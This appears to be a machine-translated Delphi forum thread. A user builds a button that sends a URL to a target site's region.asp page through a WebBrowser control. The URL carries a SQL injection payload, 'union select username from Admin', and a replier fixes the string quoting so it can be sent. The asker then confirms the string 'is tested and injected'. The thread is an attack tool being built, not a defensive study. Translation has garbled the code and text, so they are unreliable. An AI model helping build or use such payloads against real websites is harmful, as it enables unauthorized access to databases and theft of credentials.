URL Connection problems in webbrowser

Webbrowser URL Connection problems Delphi/Windows SDK/API
Http://www.delphi2007.net/DelphiNetwork/html/delphi_20061202200134214.html
Implementation: After clicking the button, send a string after edit1.text + 'to the Web server

The following is a string:

/Region. asp? Country = TT & City = fucka & province = bug 'and 1 = 2 Union select username from Admin where 1 <2 and '1' = '1

My Code

Procedure tform1.button2click (Sender: tobject );
Begin
Self. webbrowser1.navigate (edit1.text + '/region. asp? Country = TT & City = fucka & province = bug ''+ 'and' + '1 = 2' + 'Union '+ 'select' + 'username' + 'from' + 'admin' + 'where' + '1' + '<' + '2' + 'and' + '1' = '1 );
End;

Error message: Missing operator or semicolon

Hope you give me some advice

If your url is like that (I didn't see what the strings submitted to ASP mean), you can follow these steps:
VaR S: string;
Begin
S: = S + '/region. asp? Country = TT & City = fucka & province = bug ';
S: = S + quotedstr ('and 1 = 2 Union select username from Admin where 1 <2 and ');
S: = S + '1 ';
S: = S + quotedstr ('= ');
S: = S + '1 ';
Webbrowser1.navigate (edit1.text + S );
End;

Thanks for your advice. This string is tested and injected.